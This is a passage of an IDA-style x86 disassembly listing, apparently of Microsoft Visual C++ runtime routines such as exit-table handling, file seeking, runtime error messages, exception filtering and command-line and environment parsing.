loc_41B1B6:				; CODE XREF: sub_41B13B+3Bj
		mov	eax, [ebp+arg_0]


loc_41B1B9:				; CODE XREF: sub_41B13B+34j
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41B1BC:				; CODE XREF: sub_41B13B+4Fj
		inc	edi
		inc	esi
		test	dl, dl
		jz	short loc_41B1A0


loc_41B1C2:				; CODE XREF: sub_41B13B+60j
		test	ecx, ecx
		jnz	short loc_41B17D
		jmp	short loc_41B1B4
; ---------------------------------------------------------------------------


loc_41B1C8:				; CODE XREF: sub_41B13B+55j
		and	byte ptr [edi-1], 0
		jmp	short loc_41B1B4
sub_41B13B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B1CE	proc near		; CODE XREF: sub_41B276+18p
		push	esi
		push	dword_47D9B0
		call	sub_41E3DD
		pop	ecx
		mov	ecx, dword_47D9AC
		mov	esi, eax
		mov	eax, dword_47D9B0
		mov	edx, ecx
		sub	edx, eax
		add	edx, 4
		cmp	esi, edx
		jnb	short loc_41B241
		mov	ecx, 800h
		cmp	esi, ecx
		jnb	short loc_41B1FE
		mov	ecx, esi


loc_41B1FE:				; CODE XREF: sub_41B1CE+2Cj
		add	ecx, esi
		push	ecx
		push	eax
		call	sub_414BBA
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_41B224
		add	esi, 10h
		push	esi
		push	dword_47D9B0
		call	sub_414BBA
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_41B224
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41B224:				; CODE XREF: sub_41B1CE+3Dj
					; sub_41B1CE+52j
		mov	ecx, dword_47D9AC
		sub	ecx, dword_47D9B0
		mov	dword_47D9B0, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_47D9AC, ecx


loc_41B241:				; CODE XREF: sub_41B1CE+23j
		mov	[ecx], edi
		add	dword_47D9AC, 4
		mov	eax, edi
		pop	esi
		retn
sub_41B1CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B24E	proc near		; DATA XREF: .data:0042B018o
		push	80h
		call	sub_414E7D
		test	eax, eax
		pop	ecx
		mov	dword_47D9B0, eax
		jnz	short loc_41B266
		push	18h
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41B266:				; CODE XREF: sub_41B24E+12j
		and	dword ptr [eax], 0
		mov	eax, dword_47D9B0
		mov	dword_47D9AC, eax
		xor	eax, eax
		retn
sub_41B24E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B276	proc near		; CODE XREF: sub_41B2AE+4p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset stru_429590
		call	__SEH_prolog
		call	loc_415F49
		and	[ebp+ms_exc.disabled], 0
		mov	edi, [ebp+arg_0]
		call	sub_41B1CE
		mov	[ebp+var_1C], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41B2A8
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_41B276	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B2A8	proc near		; CODE XREF: sub_41B276+24p
					; DATA XREF: .rdata:stru_429590o
		call	sub_415F52
		retn
sub_41B2A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B2AE	proc near		; CODE XREF: sub_415F5B+3Bp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B276
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	ecx
		dec	eax
		retn
sub_41B2AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B2C0	proc near		; CODE XREF: .text:loc_4163D5p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset stru_4295A0
		call	__SEH_prolog
		mov	[ebp+var_1C], offset dword_429DB4


loc_41B2D3:				; CODE XREF: sub_41B2C0+3Cj
		cmp	[ebp+var_1C], offset dword_429DB4
		jnb	short loc_41B2FE
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [ebp+var_1C]
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_41B2F4
		call	eax
		jmp	short loc_41B2F4
; ---------------------------------------------------------------------------


loc_41B2ED:				; DATA XREF: .rdata:stru_4295A0o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_41B2F1:				; DATA XREF: .rdata:stru_4295A0o
		mov	esp, [ebp+ms_exc.old_esp]


loc_41B2F4:				; CODE XREF: sub_41B2C0+27j
					; sub_41B2C0+2Bj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		add	[ebp+var_1C], 4
		jmp	short loc_41B2D3
; ---------------------------------------------------------------------------


loc_41B2FE:				; CODE XREF: sub_41B2C0+1Aj
		call	__SEH_epilog
		retn
sub_41B2C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B304	proc near		; DATA XREF: sub_415F5B:loc_415F91o

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset stru_4295B0
		call	__SEH_prolog
		mov	[ebp+var_1C], offset dword_429DBC


loc_41B317:				; CODE XREF: sub_41B304+3Cj
		cmp	[ebp+var_1C], offset dword_429DBC
		jnb	short loc_41B342
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [ebp+var_1C]
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_41B338
		call	eax
		jmp	short loc_41B338
; ---------------------------------------------------------------------------


loc_41B331:				; DATA XREF: .rdata:stru_4295B0o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_41B335:				; DATA XREF: .rdata:stru_4295B0o
		mov	esp, [ebp+ms_exc.old_esp]


loc_41B338:				; CODE XREF: sub_41B304+27j
					; sub_41B304+2Bj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		add	[ebp+var_1C], 4
		jmp	short loc_41B317
; ---------------------------------------------------------------------------


loc_41B342:				; CODE XREF: sub_41B304+1Aj
		call	__SEH_epilog
		retn
sub_41B304	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B348	proc near		; CODE XREF: sub_418EBA+18Bp
					; sub_41B3BC+52p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_41CD1B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41B369
		call	sub_419600
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41B369:				; CODE XREF: sub_41B348+Fj
		push	edi
		push	[esp+8+arg_8]
		push	0
		push	[esp+10h+arg_4]
		push	eax
		call	ds:dword_420090	; SetFilePointer
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_41B38A
		call	ds:dword_420008	; RtlGetLastWin32Error
		jmp	short loc_41B38C
; ---------------------------------------------------------------------------


loc_41B38A:				; CODE XREF: sub_41B348+38j
		xor	eax, eax


loc_41B38C:				; CODE XREF: sub_41B348+40j
		test	eax, eax
		jz	short loc_41B39C
		push	eax
		call	sub_419612
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B3B9
; ---------------------------------------------------------------------------


loc_41B39C:				; CODE XREF: sub_41B348+46j
		mov	ecx, esi
		and	esi, 1Fh
		sar	ecx, 5
		mov	ecx, dword_47C620[ecx*4]
		mov	eax, esi
		lea	eax, [eax+eax*8]
		lea	eax, [ecx+eax*4+4]
		and	byte ptr [eax],	0FDh
		mov	eax, edi


loc_41B3B9:				; CODE XREF: sub_41B348+52j
		pop	edi
		pop	esi
		retn
sub_41B348	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B3BC	proc near		; CODE XREF: sub_4161C8+69p
					; sub_4164BB+D0p ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 0041B44B SIZE 0000001C BYTES

		push	0Ch
		push	offset stru_4295C0
		call	__SEH_prolog
		mov	ebx, [ebp+arg_0]
		cmp	ebx, dword_47C618
		jnb	short loc_41B44B
		mov	eax, ebx
		sar	eax, 5
		lea	edi, ds:47C620h[eax*4]
		mov	eax, ebx
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		shl	esi, 2
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41B44B
		push	ebx
		call	sub_41CD5C
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41B41B
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	ebx
		call	sub_41B348
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		jmp	short loc_41B432
; ---------------------------------------------------------------------------


loc_41B41B:				; CODE XREF: sub_41B3BC+49j
		call	sub_419600
		mov	dword ptr [eax], 9
		call	sub_419609
		and	dword ptr [eax], 0
		or	[ebp+var_1C], 0FFFFFFFFh


loc_41B432:				; CODE XREF: sub_41B3BC+5Dj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41B443
		mov	eax, [ebp+var_1C]
		jmp	short loc_41B461
sub_41B3BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B440	proc near		; DATA XREF: .rdata:stru_4295C0o
		mov	ebx, [ebp+8]
sub_41B440	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41B443	proc near		; CODE XREF: sub_41B3BC+7Ap
		push	ebx
		call	sub_41CDCF
		pop	ecx
		retn
sub_41B443	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41B3BC


loc_41B44B:				; CODE XREF: sub_41B3BC+15j
					; sub_41B3BC+35j
		call	sub_419600
		mov	dword ptr [eax], 9
		call	sub_419609
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh


loc_41B461:				; CODE XREF: sub_41B3BC+82j
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_41B3BC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B467	proc near		; CODE XREF: sub_4161C8+2Bp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+10h]
		xor	ebx, ebx
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_41B483
		mov	[edi+4], ebx


loc_41B483:				; CODE XREF: sub_41B467+17j
		push	1
		push	ebx
		push	esi
		call	sub_41B3BC
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_41B504
		mov	ecx, [edi+0Ch]
		test	cx, 108h
		jnz	short loc_41B4A8
		sub	eax, [edi+4]
		jmp	loc_41B5C4
; ---------------------------------------------------------------------------


loc_41B4A8:				; CODE XREF: sub_41B467+37j
		mov	eax, [edi]
		mov	edx, [edi+8]
		mov	ebx, eax
		sub	ebx, edx
		test	cl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_41B4F5
		mov	ebx, esi
		mov	ecx, esi
		sar	ebx, 5
		mov	ebx, dword_47C620[ebx*4]
		and	ecx, 1Fh
		lea	ecx, [ecx+ecx*8]
		test	byte ptr [ebx+ecx*4+4],	80h
		jz	short loc_41B4E7
		mov	ecx, edx
		cmp	ecx, eax
		jnb	short loc_41B4E7


loc_41B4DA:				; CODE XREF: sub_41B467+7Ej
		cmp	byte ptr [ecx],	0Ah
		jnz	short loc_41B4E2
		inc	[ebp+var_8]


loc_41B4E2:				; CODE XREF: sub_41B467+76j
		inc	ecx
		cmp	ecx, [edi]
		jb	short loc_41B4DA


loc_41B4E7:				; CODE XREF: sub_41B467+6Bj
					; sub_41B467+71j ...
		cmp	[ebp+var_4], 0
		jnz	short loc_41B50C
		mov	eax, [ebp+var_8]
		jmp	loc_41B5C4
; ---------------------------------------------------------------------------


loc_41B4F5:				; CODE XREF: sub_41B467+50j
		test	cl, cl
		js	short loc_41B4E7
		call	sub_419600
		mov	dword ptr [eax], 16h


loc_41B504:				; CODE XREF: sub_41B467+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_41B5C4
; ---------------------------------------------------------------------------


loc_41B50C:				; CODE XREF: sub_41B467+84j
		test	byte ptr [edi+0Ch], 1
		jz	loc_41B5BC
		mov	ecx, [edi+4]
		test	ecx, ecx
		jnz	short loc_41B525
		and	[ebp+var_8], ecx
		jmp	loc_41B5BC
; ---------------------------------------------------------------------------


loc_41B525:				; CODE XREF: sub_41B467+B4j
		sub	eax, edx
		add	eax, ecx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		lea	ebx, ds:47C620h[eax*4]
		mov	eax, esi
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		mov	eax, [ebx]
		shl	esi, 2
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_41B5B6
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_41B3BC
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_41B57D
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax
		jmp	short loc_41B573
; ---------------------------------------------------------------------------


loc_41B56A:				; CODE XREF: sub_41B467+10Ej
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41B572
		inc	[ebp+arg_0]


loc_41B572:				; CODE XREF: sub_41B467+106j
		inc	eax


loc_41B573:				; CODE XREF: sub_41B467+101j
		cmp	eax, ecx
		jb	short loc_41B56A
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_41B5B1
; ---------------------------------------------------------------------------


loc_41B57D:				; CODE XREF: sub_41B467+F7j
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_41B3BC
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_41B5A4
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_41B5A4
		test	ch, 4
		jz	short loc_41B5A7


loc_41B5A4:				; CODE XREF: sub_41B467+12Ej
					; sub_41B467+136j
		mov	eax, [edi+18h]


loc_41B5A7:				; CODE XREF: sub_41B467+13Bj
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_41B5B1:				; CODE XREF: sub_41B467+114j
		jz	short loc_41B5B6
		inc	[ebp+arg_0]


loc_41B5B6:				; CODE XREF: sub_41B467+E3j
					; sub_41B467:loc_41B5B1j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_41B5BC:				; CODE XREF: sub_41B467+A9j
					; sub_41B467+B9j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_41B5C4:				; CODE XREF: sub_41B467+3Cj
					; sub_41B467+89j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B467	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B5C9	proc near		; CODE XREF: sub_4162A0+12p
					; sub_4162C5+12p ...

var_10C		= byte ptr -10Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		mov	eax, dword_42DEA8
		xor	eax, [ebp+4]
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	[ebp+var_4], eax
		xor	edx, edx
		push	edi
		xor	eax, eax


loc_41B5E7:				; CODE XREF: sub_41B5C9+2Bj
		cmp	ecx, dword_42DFB8[eax*8]
		jz	short loc_41B5F6
		inc	eax
		cmp	eax, 12h
		jb	short loc_41B5E7


loc_41B5F6:				; CODE XREF: sub_41B5C9+25j
		mov	esi, eax
		shl	esi, 3
		cmp	ecx, dword_42DFB8[esi]
		jnz	loc_41B72A
		mov	eax, dword_47C1F0
		cmp	eax, 1
		jz	loc_41B705
		cmp	eax, edx
		jnz	short loc_41B626
		cmp	dword_42D7C4, 1
		jz	loc_41B705


loc_41B626:				; CODE XREF: sub_41B5C9+4Ej
		cmp	ecx, 0FCh
		jz	loc_41B72A
		push	104h
		lea	eax, [ebp+var_10C]
		push	eax
		push	edx
		mov	[ebp+var_8], dl
		call	ds:dword_420010	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_41B65F
		lea	eax, [ebp+var_10C]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_419C40
		pop	ecx
		pop	ecx


loc_41B65F:				; CODE XREF: sub_41B5C9+81j
		lea	eax, [ebp+var_10C]
		push	eax
		lea	edi, [ebp+var_10C]
		call	sub_4179C0
		inc	eax
		cmp	eax, 3Ch
		pop	ecx
		jbe	short loc_41B6A1
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_4179C0
		mov	edi, eax
		lea	eax, [ebp+var_10C]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_414670
		add	esp, 10h


loc_41B6A1:				; CODE XREF: sub_41B5C9+ADj
		push	edi
		call	sub_4179C0
		push	off_42DFBC[esi]
		mov	ebx, eax
		call	sub_4179C0
		lea	eax, [ebx+eax+1Ch]
		pop	ecx
		add	eax, 3
		pop	ecx
		and	eax, 0FFFFFFFCh
		call	sub_414800
		mov	ebx, esp
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	ebx
		call	sub_419C40
		push	edi
		push	ebx
		call	sub_419C50
		push	offset asc_4298F0 ; "\n\n"
		push	ebx
		call	sub_419C50
		push	off_42DFBC[esi]
		push	ebx
		call	sub_419C50
		push	12010h
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	ebx
		call	sub_41E453
		add	esp, 2Ch
		jmp	short loc_41B72A
; ---------------------------------------------------------------------------


loc_41B705:				; CODE XREF: sub_41B5C9+46j
					; sub_41B5C9+57j
		push	edx
		lea	eax, [ebp+arg_0]
		push	eax
		lea	esi, off_42DFBC[esi]
		push	dword ptr [esi]
		call	sub_4179C0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	ds:dword_4201B4	; GetStdHandle
		push	eax
		call	ds:dword_420040	; WriteFile


loc_41B72A:				; CODE XREF: sub_41B5C9+38j
					; sub_41B5C9+63j ...
		lea	esp, [ebp-118h]
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		call	sub_41A1F6
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B5C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B740	proc near		; CODE XREF: sub_4162A0+9p
					; sub_4162C5+9p
		mov	eax, dword_47C1F0
		cmp	eax, 1
		jz	short loc_41B757
		test	eax, eax
		jnz	short locret_41B778
		cmp	dword_42D7C4, 1
		jnz	short locret_41B778


loc_41B757:				; CODE XREF: sub_41B740+8j
		push	0FCh
		call	sub_41B5C9
		mov	eax, dword_47C370
		test	eax, eax
		pop	ecx
		jz	short loc_41B76D
		call	eax


loc_41B76D:				; CODE XREF: sub_41B740+29j
		push	0FFh
		call	sub_41B5C9
		pop	ecx

locret_41B778:				; CODE XREF: sub_41B740+Cj
					; sub_41B740+15j
		retn
sub_41B740	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B779	proc near		; CODE XREF: .text:0041648Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		call	sub_416E15
		mov	edi, [ebp+arg_0]
		mov	esi, eax
		mov	edx, [esi+54h]
		mov	eax, dword_42E0CC
		mov	ecx, edx


loc_41B794:				; CODE XREF: sub_41B779+2Aj
		cmp	[ecx], edi
		jz	short loc_41B7A5
		lea	ebx, [eax+eax*2]
		add	ecx, 0Ch
		lea	ebx, [edx+ebx*4]
		cmp	ecx, ebx
		jb	short loc_41B794


loc_41B7A5:				; CODE XREF: sub_41B779+1Dj
		lea	eax, [eax+eax*2]
		lea	eax, [edx+eax*4]
		cmp	ecx, eax
		jnb	short loc_41B7B3
		cmp	[ecx], edi
		jz	short loc_41B7B5


loc_41B7B3:				; CODE XREF: sub_41B779+34j
		xor	ecx, ecx


loc_41B7B5:				; CODE XREF: sub_41B779+38j
		test	ecx, ecx
		jz	loc_41B8CF
		mov	ebx, [ecx+8]
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	loc_41B8CF
		cmp	ebx, 5
		jnz	short loc_41B7DC
		and	dword ptr [ecx+8], 0
		xor	eax, eax
		inc	eax
		jmp	loc_41B8D8
; ---------------------------------------------------------------------------


loc_41B7DC:				; CODE XREF: sub_41B779+55j
		cmp	ebx, 1
		jz	loc_41B8CA
		mov	eax, [esi+58h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		mov	[esi+58h], eax
		mov	eax, [ecx+4]
		cmp	eax, 8
		jnz	loc_41B8BC
		mov	edx, dword_42E0C0
		mov	eax, dword_42E0C4
		add	eax, edx
		cmp	edx, eax
		jge	short loc_41B835
		lea	eax, [edx+edx*2]
		shl	eax, 2


loc_41B814:				; CODE XREF: sub_41B779+B7j
		mov	edi, [esi+54h]
		and	dword ptr [eax+edi+8], 0
		mov	edi, dword_42E0C0
		mov	ebx, dword_42E0C4
		inc	edx
		add	ebx, edi
		add	eax, 0Ch
		cmp	edx, ebx
		jl	short loc_41B814
		mov	ebx, [ebp+arg_0]


loc_41B835:				; CODE XREF: sub_41B779+93j
		mov	ecx, [ecx]
		cmp	ecx, 0C000008Eh
		mov	edi, [esi+5Ch]
		jnz	short loc_41B84B
		mov	dword ptr [esi+5Ch], 83h
		jmp	short loc_41B8AF
; ---------------------------------------------------------------------------


loc_41B84B:				; CODE XREF: sub_41B779+C7j
		cmp	ecx, 0C0000090h
		jnz	short loc_41B85C
		mov	dword ptr [esi+5Ch], 81h
		jmp	short loc_41B8AF
; ---------------------------------------------------------------------------


loc_41B85C:				; CODE XREF: sub_41B779+D8j
		cmp	ecx, 0C0000091h
		jnz	short loc_41B86D
		mov	dword ptr [esi+5Ch], 84h
		jmp	short loc_41B8AF
; ---------------------------------------------------------------------------


loc_41B86D:				; CODE XREF: sub_41B779+E9j
		cmp	ecx, 0C0000093h
		jnz	short loc_41B87E
		mov	dword ptr [esi+5Ch], 85h
		jmp	short loc_41B8AF
; ---------------------------------------------------------------------------


loc_41B87E:				; CODE XREF: sub_41B779+FAj
		cmp	ecx, 0C000008Dh
		jnz	short loc_41B88F
		mov	dword ptr [esi+5Ch], 82h
		jmp	short loc_41B8AF
; ---------------------------------------------------------------------------


loc_41B88F:				; CODE XREF: sub_41B779+10Bj
		cmp	ecx, 0C000008Fh
		jnz	short loc_41B8A0
		mov	dword ptr [esi+5Ch], 86h
		jmp	short loc_41B8AF
; ---------------------------------------------------------------------------


loc_41B8A0:				; CODE XREF: sub_41B779+11Cj
		cmp	ecx, 0C0000092h
		jnz	short loc_41B8AF
		mov	dword ptr [esi+5Ch], 8Ah


loc_41B8AF:				; CODE XREF: sub_41B779+D0j
					; sub_41B779+E1j ...
		push	dword ptr [esi+5Ch]
		push	8
		call	ebx
		pop	ecx
		mov	[esi+5Ch], edi
		jmp	short loc_41B8C3
; ---------------------------------------------------------------------------


loc_41B8BC:				; CODE XREF: sub_41B779+7Ej
		and	dword ptr [ecx+8], 0
		push	eax
		call	ebx


loc_41B8C3:				; CODE XREF: sub_41B779+141j
		mov	eax, [ebp+var_4]
		pop	ecx
		mov	[esi+58h], eax


loc_41B8CA:				; CODE XREF: sub_41B779+66j
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B8D8
; ---------------------------------------------------------------------------


loc_41B8CF:				; CODE XREF: sub_41B779+3Ej
					; sub_41B779+4Cj
		push	[ebp+arg_4]
		call	ds:dword_4201B8	; UnhandledExceptionFilter


loc_41B8D8:				; CODE XREF: sub_41B779+5Ej
					; sub_41B779+154j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B779	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8DD	proc near		; CODE XREF: .text:00416445p
		cmp	dword_47D9B4, 0
		jnz	short loc_41B8EB
		call	sub_41B11D


loc_41B8EB:				; CODE XREF: sub_41B8DD+7j
		push	esi
		mov	esi, dword_47D9A4
		test	esi, esi
		jnz	short loc_41B8FD
		mov	esi, 420AEAh
		jmp	short loc_41B942
; ---------------------------------------------------------------------------


loc_41B8FD:				; CODE XREF: sub_41B8DD+17j
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_41B92B
		inc	esi
		mov	al, [esi]
		cmp	al, 22h
		jz	short loc_41B93B


loc_41B90A:				; CODE XREF: sub_41B8DD+45j
		test	al, al
		jz	short loc_41B924
		movzx	eax, al
		push	eax
		call	sub_41E57D
		test	eax, eax
		pop	ecx
		jz	short loc_41B91D
		inc	esi


loc_41B91D:				; CODE XREF: sub_41B8DD+3Dj
		inc	esi
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_41B90A


loc_41B924:				; CODE XREF: sub_41B8DD+2Fj
		cmp	byte ptr [esi],	22h
		jnz	short loc_41B93C
		jmp	short loc_41B93B
; ---------------------------------------------------------------------------


loc_41B92B:				; CODE XREF: sub_41B8DD+24j
		cmp	al, 20h
		jbe	short loc_41B93C


loc_41B92F:				; CODE XREF: sub_41B8DD+56j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_41B92F
		jmp	short loc_41B93C
; ---------------------------------------------------------------------------


loc_41B937:				; CODE XREF: sub_41B8DD+63j
		cmp	al, 20h
		ja	short loc_41B942


loc_41B93B:				; CODE XREF: sub_41B8DD+2Bj
					; sub_41B8DD+4Cj
		inc	esi


loc_41B93C:				; CODE XREF: sub_41B8DD+4Aj
					; sub_41B8DD+50j ...
		mov	al, [esi]
		test	al, al
		jnz	short loc_41B937


loc_41B942:				; CODE XREF: sub_41B8DD+1Ej
					; sub_41B8DD+5Cj
		mov	eax, esi
		pop	esi
		retn
sub_41B8DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B946	proc near		; CODE XREF: .text:loc_416414p
		push	ebx
		xor	ebx, ebx
		cmp	dword_47D9B4, ebx
		push	esi
		push	edi
		jnz	short loc_41B958
		call	sub_41B11D


loc_41B958:				; CODE XREF: sub_41B946+Bj
		mov	esi, dword_47C1E8
		xor	edi, edi
		cmp	esi, ebx
		jnz	short loc_41B976
		jmp	short loc_41B996
; ---------------------------------------------------------------------------


loc_41B966:				; CODE XREF: sub_41B946+34j
		cmp	al, 3Dh
		jz	short loc_41B96B
		inc	edi


loc_41B96B:				; CODE XREF: sub_41B946+22j
		push	esi
		call	sub_4179C0
		pop	ecx
		lea	esi, [esi+eax+1]


loc_41B976:				; CODE XREF: sub_41B946+1Cj
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_41B966
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_414E7D
		mov	edi, eax
		cmp	edi, ebx
		pop	ecx
		mov	dword_47C1C4, edi
		jnz	short loc_41B99B


loc_41B996:				; CODE XREF: sub_41B946+1Ej
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B9F3
; ---------------------------------------------------------------------------


loc_41B99B:				; CODE XREF: sub_41B946+4Ej
		mov	esi, dword_47C1E8
		push	ebp
		jmp	short loc_41B9CE
; ---------------------------------------------------------------------------


loc_41B9A4:				; CODE XREF: sub_41B946+8Aj
		push	esi
		call	sub_4179C0
		mov	ebp, eax
		inc	ebp
		cmp	byte ptr [esi],	3Dh
		pop	ecx
		jz	short loc_41B9CC
		push	ebp
		call	sub_414E7D
		cmp	eax, ebx
		pop	ecx
		mov	[edi], eax
		jz	short loc_41B9F7
		push	esi
		push	eax
		call	sub_419C40
		pop	ecx
		pop	ecx
		add	edi, 4


loc_41B9CC:				; CODE XREF: sub_41B946+6Bj
		add	esi, ebp


loc_41B9CE:				; CODE XREF: sub_41B946+5Cj
		cmp	[esi], bl
		jnz	short loc_41B9A4
		push	dword_47C1E8
		call	sub_414A14
		mov	dword_47C1E8, ebx
		mov	[edi], ebx
		mov	dword_47D9A8, 1
		xor	eax, eax


loc_41B9F1:				; CODE XREF: sub_41B946+C5j
		pop	ecx
		pop	ebp


loc_41B9F3:				; CODE XREF: sub_41B946+53j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41B9F7:				; CODE XREF: sub_41B946+78j
		push	dword_47C1C4
		call	sub_414A14
		mov	dword_47C1C4, ebx
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B9F1
sub_41B946	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BA0D	proc near		; CODE XREF: sub_41BB79+54p
					; sub_41BB79+85p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_0], edx
		push	edi
		mov	[esi], edx
		mov	edi, ecx
		mov	dword ptr [ebx], 1
		jz	short loc_41BA30
		mov	ecx, [ebp+arg_0]
		add	[ebp+arg_0], 4
		mov	[ecx], edi


loc_41BA30:				; CODE XREF: sub_41BA0D+18j
					; sub_41BA0D+65j ...
		cmp	byte ptr [eax],	22h
